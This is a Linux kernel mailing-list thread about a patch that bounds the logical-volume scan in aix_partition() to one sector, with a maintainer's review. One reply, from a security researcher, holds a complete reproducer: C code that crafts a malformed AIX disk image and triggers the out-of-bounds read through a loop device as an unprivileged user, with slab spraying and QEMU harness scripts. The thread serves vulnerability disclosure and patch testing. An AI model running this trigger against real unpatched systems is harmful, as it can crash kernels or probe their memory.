mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH] partitions: aix: bound the lvd scan to one sector
@ 2026-06-06 17:07 Michael Bommarito
  2026-07-12  0:19 ` Jay Vadayath
  2026-07-13  6:51 ` Hannes Reinecke
  0 siblings, 2 replies; 4+ messages in thread
From: Michael Bommarito @ 2026-06-06 17:07 UTC (permalink / raw)
  To: Jens Axboe; +Cc: Kees Cook, linux-block, linux-kernel

aix_partition() reads the logical-volume descriptor array as a single
sector and then scans it:

	if (numlvs && (d = read_part_sector(state, vgda_sector + 1, &sect))) {
		struct lvd *p = (struct lvd *)d;
		...
		for (i = 0; foundlvs < numlvs && i < state->limit; i += 1) {
			lvip[i].pps_per_lv = be16_to_cpu(p[i].num_lps);

p points at a single 512-byte sector, which holds 512 / sizeof(struct
lvd) = 16 entries, but the loop runs until foundlvs reaches the on-disk
numlvs or i reaches state->limit (DISK_MAX_PARTS, 256). numlvs is an
on-disk __be16 read straight from the volume group descriptor and is not
validated, so a crafted AIX image with numlvs larger than 16 and lvd
entries whose num_lps fields are zero (so foundlvs never advances) drives
the loop to read p[i] well past the end of the read sector buffer.

The 2014 off-by-one fix d97a86c170b4 hardened the matching write of
lvip[lv_ix] but left this read loop unbounded.

Bound the scan to the number of struct lvd entries that fit in the
sector that was actually read.

Fixes: 6ceea22bbbc8 ("partitions: add aix lvm partition support files")
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
---
 block/partitions/aix.c | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/block/partitions/aix.c b/block/partitions/aix.c
index 29b8f4cebb63d..6679e825ba329 100644
--- a/block/partitions/aix.c
+++ b/block/partitions/aix.c
@@ -208,7 +208,14 @@ int aix_partition(struct parsed_partitions *state)
 		if (n) {
 			int foundlvs = 0;
 
-			for (i = 0; foundlvs < numlvs && i < state->limit; i += 1) {
+			/*
+			 * The lvd array was read as a single sector; only the
+			 * struct lvd entries that fit in it are valid.  Bound the
+			 * scan so an on-disk numlvs larger than that cannot walk
+			 * the read buffer out of bounds.
+			 */
+			for (i = 0; foundlvs < numlvs && i < state->limit &&
+				    i < 512 / (int)sizeof(struct lvd); i += 1) {
 				lvip[i].pps_per_lv = be16_to_cpu(p[i].num_lps);
 				if (lvip[i].pps_per_lv)
 					foundlvs += 1;

base-commit: 5200f5f493f79f14bbdc349e402a40dfb32f23c8
-- 
2.53.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] partitions: aix: bound the lvd scan to one sector
  2026-06-06 17:07 [PATCH] partitions: aix: bound the lvd scan to one sector Michael Bommarito
@ 2026-07-12  0:19 ` Jay Vadayath
  2026-07-12  1:06   ` Michael Bommarito
  2026-07-13  6:51 ` Hannes Reinecke
  1 sibling, 1 reply; 4+ messages in thread
From: Jay Vadayath @ 2026-07-12  0:19 UTC (permalink / raw)
  To: michael.bommarito; +Cc: axboe, kees, linux-block, linux-kernel

Hello,

I am a security researcher and was able to independently reproduce the 
OOB read on an unpatched tree by feeding exactly that shape of image 
through a loop device with LO_FLAGS_PARTSCAN.

Image layout:
  sector 0:      AIX label magic (0xC9 0xC2 0xD4 0xC1) + MBR signature
  sector 7:      lvm_rec (vgda_len=33, vgda_sector=N, ipl_psn=1)
  sector N:      VGDA header with numlvs=0xFFFF
  sector N+1:    LVD array (zeros -- num_lps=0 keeps foundlvs at 0)

KASAN on 7.2.0-rc2 flags the read one entry past the sector buffer:

  BUG: KASAN: slab-use-after-free in aix_partition+0x3fe/0xa80
  Read of size 2 at addr ffff88810776b00e by task poc/2944
  Call Trace:
   aix_partition+0x3fe/0xa80
   msdos_partition+0x3c7/0x1200
   bdev_disk_changed+0x616/0xe70
   loop_reread_partitions+0x44/0xb0
   loop_configure+0xd02/0xdf0
   lo_ioctl+0x23d/0x1200
   blkdev_ioctl+0x412/0x490
   __x64_sys_ioctl+0x120/0x170
   do_syscall_64+0x102/0x5a0
   entry_SYSCALL_64_after_hwframe+0x77/0x7f

  The buggy address belongs to the object at ffff88810776b000
   which belongs to the cache kmalloc-64 of size 64
  The buggy address is located 14 bytes inside of
   freed 64-byte region [ffff88810776b000, ffff88810776b040)

I only confirmed the bug on an unpatched kernel; I have not yet verified
the fix on top of this reproducer.

The CONFIG options that I've used are:

  CONFIG_PARTITION_ADVANCED=y
  CONFIG_AIX_PARTITION=y
  CONFIG_MSDOS_PARTITION=y
  CONFIG_BLK_DEV_LOOP=y
  CONFIG_KASAN=y
  CONFIG_KASAN_GENERIC=y

Any defconfig with the options above added is enough to reproduce.

======= build.sh =======
#!/usr/bin/env bash
# build.sh -- Build kernel variants for aix_partition OOB read reproduction.
# Usage: ./build.sh <kernel-source-dir>
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SRC="${1:?Usage: $0 <kernel-source-dir>}"
SRC="$(realpath "$SRC")"

NPROC="$(nproc)"
CONFIG_SRC="$SCRIPT_DIR/kernel.config"

# -- Build PoC binary ------------------------------------------------------
echo "[build.sh] Compiling PoC ..."
gcc -static -O2 -Wall -o "$SCRIPT_DIR/poc_bin" "$SCRIPT_DIR/poc.c"
echo "[build.sh] PoC compiled -> $SCRIPT_DIR/poc_bin"

# -- Ensure source tree is clean ------------------------------------------
if [ -f "$SRC/.config" ] || [ -d "$SRC/.tmp_versions" ]; then
    echo "[build.sh] Cleaning source tree ..."
    make -C "$SRC" mrproper > /dev/null 2>&1 || true
fi

build_variant() {
    local variant="$1"
    local build_dir="$SCRIPT_DIR/builds/$variant"
    local log="$build_dir/build.log"

    echo "[build.sh] === Building variant: $variant ==="
    mkdir -p "$build_dir"

    # Start from provided config (any working defconfig will do)
    cp "$CONFIG_SRC" "$build_dir/.config"

    # Enable AIX_PARTITION (requires PARTITION_ADVANCED)
    cat >> "$build_dir/.config" <<'KOPTS'
CONFIG_PARTITION_ADVANCED=y
CONFIG_AIX_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BLK_DEV_LOOP=y
KOPTS

    # Variant-specific options
    case "$variant" in
        asan)
            cat >> "$build_dir/.config" <<'KOPTS'
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_OUTLINE=y
CONFIG_KASAN_STACK=y
CONFIG_KASAN_VMALLOC=y
CONFIG_SLUB_DEBUG=y
CONFIG_STACKTRACE=y
KOPTS
            ;;
        nosan)
            cat >> "$build_dir/.config" <<'KOPTS'
# CONFIG_KASAN is not set
KOPTS
            ;;
    esac

    echo "[build.sh]   olddefconfig ..."
    make -C "$SRC" O="$build_dir" olddefconfig >> "$log" 2>&1

    if ! grep -q 'CONFIG_AIX_PARTITION=y' "$build_dir/.config"; then
        echo "[build.sh] WARNING: CONFIG_AIX_PARTITION not enabled, forcing..."
        "$SRC/scripts/config" --file "$build_dir/.config" \
            --enable PARTITION_ADVANCED \
            --enable AIX_PARTITION \
            --enable MSDOS_PARTITION
        make -C "$SRC" O="$build_dir" olddefconfig >> "$log" 2>&1
    fi

    echo "[build.sh]   Building scripts ..."
    make -C "$SRC" O="$build_dir" -j1 scripts >> "$log" 2>&1 || true

    echo "[build.sh]   Building kernel (this may take a while) ..."
    make -C "$SRC" O="$build_dir" -j"$NPROC" bzImage >> "$log" 2>&1

    if [ -f "$build_dir/arch/x86/boot/bzImage" ]; then
        echo "[build.sh]   OK: $variant kernel -> $build_dir/arch/x86/boot/bzImage"
    else
        echo "[build.sh]   FAIL: $variant build failed -- check $log"
        return 1
    fi
}

build_variant asan

echo "[build.sh] All builds complete."

===== end build.sh =====

======= build_initramfs.sh =======
#!/usr/bin/env bash
# build_initramfs.sh -- Build a minimal BusyBox initramfs that runs a PoC binary.
#
# Usage:
#   ./build_initramfs.sh [OPTIONS]
#
# Options:
#   -o, --output <path>       Output path for the initramfs image
#                             (default: ./initramfs/initramfs.cpio.gz)
#   -u, --user <name>         Non-root username to create (default: "vscode")
#   -h, --help                Show this help message
#
# Requirements (installed automatically if missing via apt):
#   busybox-static

set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUTPUT="$SCRIPT_DIR/initramfs/initramfs.cpio.gz"
NORMAL_USER="vscode"
WORKDIR=""

log()  { echo "[build_initramfs] $*"; }
die()  { echo "[build_initramfs] ERROR: $*" >&2; exit 1; }

usage() {
    sed -n '/^# Usage:/,/^[^#]/p' "$0" | grep '^#' | sed 's/^# \{0,1\}//'
    exit 0
}

need_cmd() {
    command -v "$1" &>/dev/null || die "'$1' not found. Install it and retry."
}

install_if_missing() {
    local pkg="$1"; shift
    local bins=("$@")
    for b in "${bins[@]}"; do
        command -v "$b" &>/dev/null && return 0
    done
    if command -v apt-get &>/dev/null; then
        log "Installing $pkg ..."
        sudo apt-get install -y --no-install-recommends "$pkg" >/dev/null
    else
        die "Cannot find ${bins[*]}. Please install $pkg manually."
    fi
}

while [[ $# -gt 0 ]]; do
    case "$1" in
        -o|--output)  OUTPUT="$2";      shift 2 ;;
        -u|--user)    NORMAL_USER="$2"; shift 2 ;;
        -h|--help)    usage ;;
        *)  echo "Unknown option: $1" >&2; exit 1 ;;
    esac
done

if [[ ! "$NORMAL_USER" =~ ^[a-z_][a-z0-9_-]*$ ]]; then
    die "Invalid --user '$NORMAL_USER'."
fi
if [[ "$NORMAL_USER" == "root" ]]; then
    die "--user cannot be 'root'."
fi

OUTPUT="$(realpath -m "$OUTPUT")"

need_cmd sudo
install_if_missing busybox-static busybox
BUSYBOX_BIN="$(command -v busybox)"

WORKDIR="$(mktemp -d /tmp/initramfs_build.XXXXXX)"
trap 'log "Cleaning up ..."; rm -rf "$WORKDIR"' EXIT

ROOT="$WORKDIR/rootfs"
log "Building rootfs in $ROOT"

mkdir -p \
    "$ROOT"/{bin,sbin,usr/bin,usr/sbin} \
    "$ROOT"/{dev,proc,sys,tmp,run,etc} \
    "$ROOT/home/$NORMAL_USER"

log "Installing BusyBox ($BUSYBOX_BIN) ..."
cp "$BUSYBOX_BIN" "$ROOT/bin/busybox"
chmod +x "$ROOT/bin/busybox"

for applet in $("$BUSYBOX_BIN" --list); do
    case "$applet" in
        ifconfig|ip|route|modprobe|insmod|rmmod|halt|poweroff|reboot|mdev)
            target="$ROOT/sbin/$applet" ;;
        *)
            target="$ROOT/bin/$applet" ;;
    esac
    [[ -e "$target" ]] || ln -s /bin/busybox "$target"
done

cat > "$ROOT/etc/passwd" <<EOF
root:x:0:0:root:/root:/bin/sh
$NORMAL_USER:x:1000:1000:$NORMAL_USER:/home/$NORMAL_USER:/bin/sh
EOF

cat > "$ROOT/etc/group" <<EOF
root:x:0:
$NORMAL_USER:x:1000:
EOF

cat > "$ROOT/init" <<INIT
#!/bin/sh
export PATH=/bin:/sbin:/usr/bin:/usr/sbin

mount -t proc     proc  /proc
mount -t sysfs    sysfs /sys
mount -t devtmpfs dev   /dev 2>/dev/null || mdev -s
mount -t tmpfs    tmpfs /tmp
mount -t tmpfs    tmpfs /run

echo 7 > /proc/sys/kernel/printk 2>/dev/null || true

if [ -x /poc ]; then
    echo "[init] Running /poc as ${NORMAL_USER} ..."

    chmod 666 /dev/loop-control 2>/dev/null || true
    for i in 0 1 2 3 4 5 6 7; do
        [ -e /dev/loop\$i ] || mknod /dev/loop\$i b 7 \$i 2>/dev/null || true
        chmod 666 /dev/loop\$i 2>/dev/null || true
    done
    chown ${NORMAL_USER}:${NORMAL_USER} /tmp 2>/dev/null || true

    cp /poc /run/poc
    chmod +x /run/poc
    su ${NORMAL_USER} -s /bin/sh -c /run/poc
    POC_EXIT=\$?
    echo "[init] /poc exited with status \$POC_EXIT"

    echo "[init] === dmesg ==="
    dmesg

    poweroff -f
fi

exec /bin/sh
INIT
chmod +x "$ROOT/init"

(
    cd "$ROOT/dev"
    if command -v fakeroot &>/dev/null; then
        _SUDO="fakeroot"
    else
        _SUDO="sudo"
    fi
    $_SUDO mknod -m 622 console c 5 1   2>/dev/null || true
    $_SUDO mknod -m 666 null    c 1 3   2>/dev/null || true
    $_SUDO mknod -m 666 zero    c 1 5   2>/dev/null || true
    $_SUDO mknod -m 666 ptmx    c 5 2   2>/dev/null || true
    $_SUDO mknod -m 620 tty0    c 4 0   2>/dev/null || true
    $_SUDO mknod -m 620 ttyS0   c 4 64  2>/dev/null || true
    $_SUDO mkdir -p pts
)

log "Packing initramfs -> $OUTPUT"
mkdir -p "$(dirname "$OUTPUT")"

(
    cd "$ROOT"
    find . | sort | cpio -o -H newc 2>/dev/null
) | gzip -9 > "$OUTPUT"

SIZE_KB=$(du -k "$OUTPUT" | cut -f1)
log "Done. Image: $OUTPUT (${SIZE_KB} KiB)"

===== end build_initramfs.sh =====

======= poc.sh =======
#!/usr/bin/env bash
# poc.sh -- Run the aix_partition OOB read PoC in QEMU guests.
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LOGS_DIR="$SCRIPT_DIR/logs"

rm -rf "$LOGS_DIR"
mkdir -p "$LOGS_DIR"

if [ ! -f "$SCRIPT_DIR/poc_bin" ]; then
    echo "[poc.sh] ERROR: Missing poc_bin -- run build.sh first"
    exit 1
fi

build_initramfs_with_poc() {
    echo "[poc.sh]   Building initramfs with PoC ..."
    bash "$SCRIPT_DIR/build_initramfs.sh" -o "$SCRIPT_DIR/initramfs/initramfs.cpio.gz"

    local tmpdir
    tmpdir="$(mktemp -d /tmp/initramfs_inject.XXXXXX)"
    (cd "$tmpdir" && gzip -dc "$SCRIPT_DIR/initramfs/initramfs.cpio.gz" | cpio -id 2>/dev/null)
    cp "$SCRIPT_DIR/poc_bin" "$tmpdir/poc"
    chmod +x "$tmpdir/poc"
    (cd "$tmpdir" && find . | sort | cpio -o -H newc 2>/dev/null | gzip -9) > "$SCRIPT_DIR/initramfs/initramfs.cpio.gz"
    rm -rf "$tmpdir"
    echo "[poc.sh]   Initramfs ready ($(du -sh "$SCRIPT_DIR/initramfs/initramfs.cpio.gz" | cut -f1))"
}

run_variant() {
    local variant="$1"
    local log_dir="$LOGS_DIR/$variant"
    local serial_log="$log_dir/serial.log"
    local bzImage="$SCRIPT_DIR/builds/$variant/arch/x86/boot/bzImage"

    if [ ! -f "$bzImage" ]; then
        echo "[poc.sh] SKIP: $bzImage not found"
        return 0
    fi

    echo "[poc.sh] ========================================="
    echo "[poc.sh] Running variant: $variant"
    echo "[poc.sh] ========================================="
    mkdir -p "$log_dir"

    build_initramfs_with_poc

    echo "[poc.sh]   Launching QEMU ($variant) ..."

    local accel
    if [ -e /dev/kvm ]; then
        accel="-accel kvm"
    else
        accel="-accel tcg"
    fi

    qemu-system-x86_64 \
        -machine pc \
        $accel \
        -m 4096 \
        -smp 2 \
        -kernel "$bzImage" \
        -initrd "$SCRIPT_DIR/initramfs/initramfs.cpio.gz" \
        -append "console=ttyS0 root=/dev/ram rdinit=/init quiet loglevel=3 printk.devkmsg=off" \
        -nographic \
        -no-reboot \
        -net none \
        > "$serial_log" 2>&1 &
    local qemu_pid=$!

    local max_wait=180
    local waited=0
    while kill -0 "$qemu_pid" 2>/dev/null && [ "$waited" -lt "$max_wait" ]; do
        sleep 5
        waited=$((waited + 5))

        if grep -q 'Power down\|reboot:' "$serial_log" 2>/dev/null; then
            echo "[poc.sh]   VM shut down after ${waited}s"
            break
        fi
    done

    if kill -0 "$qemu_pid" 2>/dev/null; then
        echo "[poc.sh]   QEMU timed out after ${max_wait}s, killing ..."
        kill "$qemu_pid" 2>/dev/null || true
        sleep 2
        kill -9 "$qemu_pid" 2>/dev/null || true
    fi
    wait "$qemu_pid" 2>/dev/null || true

    echo "[poc.sh]   QEMU ($variant) finished. Log: $(wc -l < "$serial_log") lines"

    echo "[poc.sh]   Checking serial log for crash signatures ..."
    if grep -qE 'BUG: KASAN' "$serial_log" 2>/dev/null; then
        echo "[poc.sh]   KASAN bug detected in $variant"
        echo ""
        grep -A40 'BUG: KASAN' "$serial_log" | head -50
        echo ""
    elif grep -qE 'kernel BUG|Oops|general protection fault' "$serial_log" 2>/dev/null; then
        echo "[poc.sh]   Kernel crash detected in $variant"
        grep -A30 'kernel BUG\|Oops\|general protection fault' "$serial_log" | head -50
    else
        echo "[poc.sh]   No crash signature found in $variant serial log"
    fi

    if grep -q 'aix_partition' "$serial_log" 2>/dev/null; then
        echo "[poc.sh]   aix_partition appears in log"
    fi

    echo ""
}

run_variant asan
run_variant nosan

echo "[poc.sh] ========================================="
echo "[poc.sh] All runs complete. Logs in $LOGS_DIR"
echo "[poc.sh] ========================================="

for variant in asan nosan; do
    log="$LOGS_DIR/$variant/serial.log"
    if [ -f "$log" ]; then
        echo ""
        echo "=== $variant serial.log (KASAN/BUG lines) ==="
        grep -E 'BUG: KASAN|aix_partition|msdos_partition|loop_configure|loop_reread' "$log" | head -20
        echo ""
        echo "=== $variant serial.log tail ==="
        tail -30 "$log"
    fi
done

===== end poc.sh =====

======= poc.c =======
/*
 * poc.c -- Trigger OOB read in aix_partition() via loop device + PARTSCAN.
 * Build: gcc -static -O2 -Wall -o poc poc.c
 * Run:   ./poc   (as unprivileged user; /dev/loop* must be writable)
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/loop.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SECTOR_SIZE 512

static void die(const char *msg) {
	perror(msg);
	exit(1);
}

static void put_be16(uint8_t *p, uint16_t v) {
	p[0] = (uint8_t)(v >> 8);
	p[1] = (uint8_t)(v & 0xff);
}

static void put_be32(uint8_t *p, uint32_t v) {
	p[0] = (uint8_t)(v >> 24);
	p[1] = (uint8_t)((v >> 16) & 0xff);
	p[2] = (uint8_t)((v >> 8) & 0xff);
	p[3] = (uint8_t)(v & 0xff);
}

static void write_sector(int fd, uint64_t lba, const void *buf, size_t len) {
	off_t off = (off_t)lba * SECTOR_SIZE;
	ssize_t w = pwrite(fd, buf, len, off);
	if (w < 0 || (size_t)w != len)
		die("pwrite(sector)");
}

static void craft_aix_image(int fd, uint32_t vgda_sector) {
	const uint32_t vgda_len = 33;
	const uint16_t numlvs = 0xFFFF;

	off_t img_size = (off_t)(vgda_sector + vgda_len + 4) * SECTOR_SIZE;
	if (img_size < 8 * SECTOR_SIZE)
		img_size = 8 * SECTOR_SIZE;
	if (ftruncate(fd, img_size))
		die("ftruncate");

	uint8_t sec[SECTOR_SIZE];

	/* Sector 0: AIX label magic */
	memset(sec, 0, sizeof(sec));
	sec[0] = 0xC9; sec[1] = 0xC2; sec[2] = 0xD4; sec[3] = 0xC1;
	sec[510] = 0x55; sec[511] = 0xAA;
	write_sector(fd, 0, sec, sizeof(sec));

	/* Sector 7: lvm_rec */
	memset(sec, 0, sizeof(sec));
	sec[0] = '_'; sec[1] = 'L'; sec[2] = 'V'; sec[3] = 'M';
	put_be32(&sec[24], vgda_len);
	put_be32(&sec[28], vgda_sector);
	put_be16(&sec[46], 9);
	put_be16(&sec[60], 1);
	write_sector(fd, 7, sec, sizeof(sec));

	/* Sector vgda_sector: VGDA header */
	memset(sec, 0, sizeof(sec));
	put_be16(&sec[24], numlvs);
	write_sector(fd, vgda_sector, sec, sizeof(sec));

	/* Sector vgda_sector+1: LVD array (all zeros) */
	memset(sec, 0, sizeof(sec));
	write_sector(fd, vgda_sector + 1, sec, sizeof(sec));

	if (fsync(fd))
		die("fsync");
}

static int do_loop_trigger(int img_fd) {
	int ctl = open("/dev/loop-control", O_RDWR | O_CLOEXEC);
	if (ctl < 0) {
		perror("open(/dev/loop-control)");
		return -1;
	}

	int num = ioctl(ctl, LOOP_CTL_GET_FREE);
	close(ctl);
	if (num < 0) {
		perror("ioctl(LOOP_CTL_GET_FREE)");
		return -1;
	}

	char path[64];
	snprintf(path, sizeof(path), "/dev/loop%d", num);
	int lfd = open(path, O_RDWR | O_CLOEXEC);
	if (lfd < 0) {
		perror(path);
		return -1;
	}

	struct loop_config cfg;
	memset(&cfg, 0, sizeof(cfg));
	cfg.fd = (unsigned int)img_fd;
	cfg.info.lo_flags = LO_FLAGS_PARTSCAN;

	int ret = ioctl(lfd, LOOP_CONFIGURE, &cfg);
	if (ret < 0) {
		if (ioctl(lfd, LOOP_SET_FD, (unsigned long)img_fd) < 0) {
			perror("LOOP_SET_FD");
			close(lfd);
			return -1;
		}
		struct loop_info64 info;
		memset(&info, 0, sizeof(info));
		info.lo_flags = LO_FLAGS_PARTSCAN;
		if (ioctl(lfd, LOOP_SET_STATUS64, &info) < 0) {
			perror("LOOP_SET_STATUS64");
			ioctl(lfd, LOOP_CLR_FD, 0);
			close(lfd);
			return -1;
		}
	}

	usleep(100000);
	ioctl(lfd, LOOP_CLR_FD, 0);
	close(lfd);
	return 0;
}

/*
 * Spray small slab allocations and free them to create KASAN-poisoned
 * slab pages, increasing the chance that the OOB read in aix_partition()
 * hits KASAN-poisoned memory in the direct map.
 */
static void slab_spray(void) {
	int i;
	int fds[256];
	for (i = 0; i < 256; i++) {
		char name[64];
		snprintf(name, sizeof(name), "/tmp/spray_%d", i);
		fds[i] = open(name, O_CREAT | O_RDWR | O_CLOEXEC, 0666);
	}
	for (i = 0; i < 256; i++) {
		if (fds[i] >= 0)
			close(fds[i]);
		char name[64];
		snprintf(name, sizeof(name), "/tmp/spray_%d", i);
		unlink(name);
	}
}

int main(void) {
	fprintf(stderr, "[poc] OOB read in aix_partition() PoC\n");

	uint32_t vgda_sectors[] = {14, 22, 30, 38, 46, 54, 62, 70, 78, 86};
	int num_variants = sizeof(vgda_sectors) / sizeof(vgda_sectors[0]);
	int attempt, variant;

	for (attempt = 0; attempt < 5; attempt++) {
		fprintf(stderr, "[poc] === Round %d/5 ===\n", attempt + 1);

		slab_spray();

		for (variant = 0; variant < num_variants; variant++) {
			uint32_t vs = vgda_sectors[variant];
			fprintf(stderr, "[poc] vgda_sector=%u\n", vs);

			char img_path[64];
			snprintf(img_path, sizeof(img_path), "/tmp/aix_%u.img", vs);
			int img_fd = open(img_path, O_CREAT | O_TRUNC | O_RDWR | O_CLOEXEC, 0666);
			if (img_fd < 0) {
				perror(img_path);
				continue;
			}

			craft_aix_image(img_fd, vs);
			do_loop_trigger(img_fd);

			close(img_fd);
			unlink(img_path);
		}
	}

	fprintf(stderr, "[poc] === dmesg output ===\n");
	fflush(stderr);
	(void)!system("dmesg | tail -200");

	fprintf(stderr, "[poc] Done.\n");
	return 0;
}

===== end poc.c =====

Thanks
Jay Vadayath

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] partitions: aix: bound the lvd scan to one sector
  2026-07-12  0:19 ` Jay Vadayath
@ 2026-07-12  1:06   ` Michael Bommarito
  0 siblings, 0 replies; 4+ messages in thread
From: Michael Bommarito @ 2026-07-12  1:06 UTC (permalink / raw)
  To: Jay Vadayath; +Cc: axboe, kees, linux-block, linux-kernel

On Sat, Jul 11, 2026 at 8:19 PM Jay Vadayath <jkrshnmenon@gmail.com> wrote:
> I only confirmed the bug on an unpatched kernel; I have not yet verified
> the fix on top of this reproducer.

FYI, I confirmed no splat after patch before sending this in (although
that was against 7.0 or 7.1 I think).

Thanks,
Mike

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] partitions: aix: bound the lvd scan to one sector
  2026-06-06 17:07 [PATCH] partitions: aix: bound the lvd scan to one sector Michael Bommarito
  2026-07-12  0:19 ` Jay Vadayath
@ 2026-07-13  6:51 ` Hannes Reinecke
  1 sibling, 0 replies; 4+ messages in thread
From: Hannes Reinecke @ 2026-07-13  6:51 UTC (permalink / raw)
  To: Michael Bommarito, Jens Axboe; +Cc: Kees Cook, linux-block, linux-kernel

On 6/6/26 7:07 PM, Michael Bommarito wrote:
> aix_partition() reads the logical-volume descriptor array as a single
> sector and then scans it:
> 
> 	if (numlvs && (d = read_part_sector(state, vgda_sector + 1, &sect))) {
> 		struct lvd *p = (struct lvd *)d;
> 		...
> 		for (i = 0; foundlvs < numlvs && i < state->limit; i += 1) {
> 			lvip[i].pps_per_lv = be16_to_cpu(p[i].num_lps);
> 
> p points at a single 512-byte sector, which holds 512 / sizeof(struct
> lvd) = 16 entries, but the loop runs until foundlvs reaches the on-disk
> numlvs or i reaches state->limit (DISK_MAX_PARTS, 256). numlvs is an
> on-disk __be16 read straight from the volume group descriptor and is not
> validated, so a crafted AIX image with numlvs larger than 16 and lvd
> entries whose num_lps fields are zero (so foundlvs never advances) drives
> the loop to read p[i] well past the end of the read sector buffer.
> 
> The 2014 off-by-one fix d97a86c170b4 hardened the matching write of
> lvip[lv_ix] but left this read loop unbounded.
> 
> Bound the scan to the number of struct lvd entries that fit in the
> sector that was actually read.
> 
> Fixes: 6ceea22bbbc8 ("partitions: add aix lvm partition support files")
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
> ---
>   block/partitions/aix.c | 9 ++++++++-
>   1 file changed, 8 insertions(+), 1 deletion(-)
> 
> diff --git a/block/partitions/aix.c b/block/partitions/aix.c
> index 29b8f4cebb63d..6679e825ba329 100644
> --- a/block/partitions/aix.c
> +++ b/block/partitions/aix.c
> @@ -208,7 +208,14 @@ int aix_partition(struct parsed_partitions *state)
>   		if (n) {
>   			int foundlvs = 0;
>   
> -			for (i = 0; foundlvs < numlvs && i < state->limit; i += 1) {
> +			/*
> +			 * The lvd array was read as a single sector; only the
> +			 * struct lvd entries that fit in it are valid.  Bound the
> +			 * scan so an on-disk numlvs larger than that cannot walk
> +			 * the read buffer out of bounds.
> +			 */
> +			for (i = 0; foundlvs < numlvs && i < state->limit &&
> +				    i < 512 / (int)sizeof(struct lvd); i += 1) {

I would use SECTOR_SIZE here. And maybe 'i++' instead of 'i += 1'.
>   				lvip[i].pps_per_lv = be16_to_cpu(p[i].num_lps);
>   				if (lvip[i].pps_per_lv)
>   					foundlvs += 1;
> 
> base-commit: 5200f5f493f79f14bbdc349e402a40dfb32f23c8

Cheers,

Hannes
-- 
Dr. Hannes Reinecke                  Kernel Storage Architect
hare@suse.de                                +49 911 74053 688
SUSE Software Solutions GmbH, Frankenstr. 146, 90461 Nürnberg
HRB 36809 (AG Nürnberg), GF: I. Totev, A. McDonald, W. Knoblich

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-07-13  6:51 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-06-06 17:07 [PATCH] partitions: aix: bound the lvd scan to one sector Michael Bommarito
2026-07-12  0:19 ` Jay Vadayath
2026-07-12  1:06   ` Michael Bommarito
2026-07-13  6:51 ` Hannes Reinecke

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox